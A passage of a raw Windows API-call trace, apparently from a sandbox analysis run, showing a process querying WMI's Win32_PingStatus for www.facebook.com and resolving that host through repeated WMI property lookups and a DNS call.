plFlavor=0x22cd2d8*=64) returned 0x0 [0140.564] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.564] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.564] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cd320*=0, plFlavor=0x22cd324*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22cd320*=8, plFlavor=0x22cd324*=64) returned 0x0 [0140.564] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.564] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.564] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0140.564] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0140.565] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.565] IWbemClassObject:Get (in: This=0x5c50300, wszName="Address", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cd55c*=0, plFlavor=0x22cd560*=0 | out: pVal=0x572e96c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22cd55c*=8, plFlavor=0x22cd560*=0) returned 0x0 [0140.565] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.565] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.565] IWbemClassObject:Get (in: This=0x5c50300, wszName="Address", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cd55c*=8, plFlavor=0x22cd560*=0 | out: pVal=0x572ea20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22cd55c*=8, plFlavor=0x22cd560*=0) returned 0x0 [0140.565] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.565] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.566] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f0 [0140.567] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.567] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.567] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.567] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce1bc*=0, plFlavor=0x22ce1c0*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ce1bc*=8, plFlavor=0x22ce1c0*=64) returned 0x0 [0140.567] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.567] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.567] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce1bc*=8, plFlavor=0x22ce1c0*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ce1bc*=8, plFlavor=0x22ce1c0*=64) returned 0x0 [0140.567] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.567] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.567] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.568] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.568] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.568] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce258*=0, plFlavor=0x22ce25c*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ce258*=8, plFlavor=0x22ce25c*=64) returned 0x0 [0140.568] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.568] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.568] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce258*=8, plFlavor=0x22ce25c*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ce258*=8, plFlavor=0x22ce25c*=64) returned 0x0 [0140.568] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.568] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.568] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.568] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.568] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.568] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce3b4*=0, plFlavor=0x22ce3b8*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ce3b4*=8200, plFlavor=0x22ce3b8*=64) returned 0x0 [0140.569] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce3b4*=8200, plFlavor=0x22ce3b8*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ce3b4*=8200, plFlavor=0x22ce3b8*=64) returned 0x0 [0140.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.569] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.569] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.569] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce61c*=0, plFlavor=0x22ce620*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ce61c*=8, plFlavor=0x22ce620*=64) returned 0x0 [0140.569] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.569] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.569] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce61c*=8, plFlavor=0x22ce620*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ce61c*=8, plFlavor=0x22ce620*=64) returned 0x0 [0140.569] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.569] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.569] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.569] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.570] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce744*=0, plFlavor=0x22ce748*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ce744*=8200, plFlavor=0x22ce748*=64) returned 0x0 [0140.570] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ce744*=8200, plFlavor=0x22ce748*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ce744*=8200, plFlavor=0x22ce748*=64) returned 0x0 [0140.570] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0140.570] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0140.570] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.570] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0140.570] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0140.570] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.570] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e5fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e5f0 | out: pNames=0x572e5f0*="\x01ƀ\x04") returned 0x0 [0140.570] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.571] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.571] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e488 | out: plLbound=0x572e488) returned 0x0 [0140.571] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.571] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.571] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.571] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.571] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.571] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.571] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.571] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.571] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.571] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.571] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.571] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.571] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.571] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.571] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.571] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.571] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.571] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.571] SysStringByteLen (bstr="__PATH") returned 0xc [0140.572] SysStringByteLen (bstr="__PATH") returned 0xc [0140.572] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cef94*=0, plFlavor=0x22cef98*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22cef94*=3, plFlavor=0x22cef98*=64) returned 0x0 [0140.572] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cefc8*=0, plFlavor=0x22cefcc*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22cefc8*=8, plFlavor=0x22cefcc*=64) returned 0x0 [0140.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.572] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf020*=0, plFlavor=0x22cf024*=0 | out: pVal=0x572e5ec*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf020*=8, plFlavor=0x22cf024*=64) returned 0x0 [0140.572] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf048*=0, plFlavor=0x22cf04c*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22cf048*=8, plFlavor=0x22cf04c*=64) returned 0x0 [0140.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.572] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf0a0*=0, plFlavor=0x22cf0a4*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22cf0a0*=8, plFlavor=0x22cf0a4*=64) returned 0x0 [0140.573] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.573] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.573] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf280*=0, plFlavor=0x22cf284*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22cf280*=3, plFlavor=0x22cf284*=64) returned 0x0 [0140.573] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf2b4*=0, plFlavor=0x22cf2b8*=0 | out: pVal=0x572e5ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22cf2b4*=8200, plFlavor=0x22cf2b8*=64) returned 0x0 [0140.573] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf2e8*=0, plFlavor=0x22cf2ec*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22cf2e8*=8, plFlavor=0x22cf2ec*=64) returned 0x0 [0140.573] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.573] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.573] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf334*=0, plFlavor=0x22cf338*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22cf334*=8, plFlavor=0x22cf338*=64) returned 0x0 [0140.574] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.574] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.574] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf380*=0, plFlavor=0x22cf384*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22cf380*=8, plFlavor=0x22cf384*=64) returned 0x0 [0140.574] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.574] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e630 | out: puCount=0x572e630*=0x2) returned 0x0 [0140.574] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0x0, pszText=0x0 | out: puBuffLength=0x572e62c*=0xf, pszText=0x0) returned 0x0 [0140.574] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e62c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.574] IWbemClassObject:Get (in: This=0x5c50300, wszName="address", lFlags=0, pVal=0x572e62c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf5bc*=0, plFlavor=0x22cf5c0*=0 | out: pVal=0x572e62c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22cf5bc*=8, plFlavor=0x22cf5c0*=0) returned 0x0 [0140.574] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.574] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.574] IWbemClassObject:Get (in: This=0x5c50300, wszName="address", lFlags=0, pVal=0x572e680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cf5bc*=8, plFlavor=0x22cf5c0*=0 | out: pVal=0x572e680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22cf5bc*=8, plFlavor=0x22cf5c0*=0) returned 0x0 [0140.574] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.574] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.575] GetAddrInfoW (in: pNodeName="www.facebook.com", pServiceName=0x0, pHints=0x572e6d0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x572e678 | out: ppResult=0x572e678*=0x5c86ca0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c794e8*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) returned 0 [0140.621] FreeAddrInfoW (pAddrInfo=0x5c86ca0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c794e8*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) [0140.622] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.623] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.624] EtwEventActivityIdControl () returned 0x0 [0140.624] EtwEventActivityIdControl () returned 0x0 [0140.624] EtwEventActivityIdControl () returned 0x0 [0140.625] EtwEventActivityIdControl () returned 0x0 [0140.625] EtwEventActivityIdControl () returned 0x0 [0140.625] EtwEventActivityIdControl () returned 0x0 [0140.629] EtwEventWriteTransfer () returned 0x0 [0140.632] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f4 [0140.632] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.632] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.632] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.632] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22da888*=0, plFlavor=0x22da88c*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22da888*=8, plFlavor=0x22da88c*=64) returned 0x0 [0140.632] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.632] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.632] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22da888*=8, plFlavor=0x22da88c*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22da888*=8, plFlavor=0x22da88c*=64) returned 0x0 [0140.633] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.633] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.633] WbemDefPath:IWbemPath:GetNamespaceCount (in: 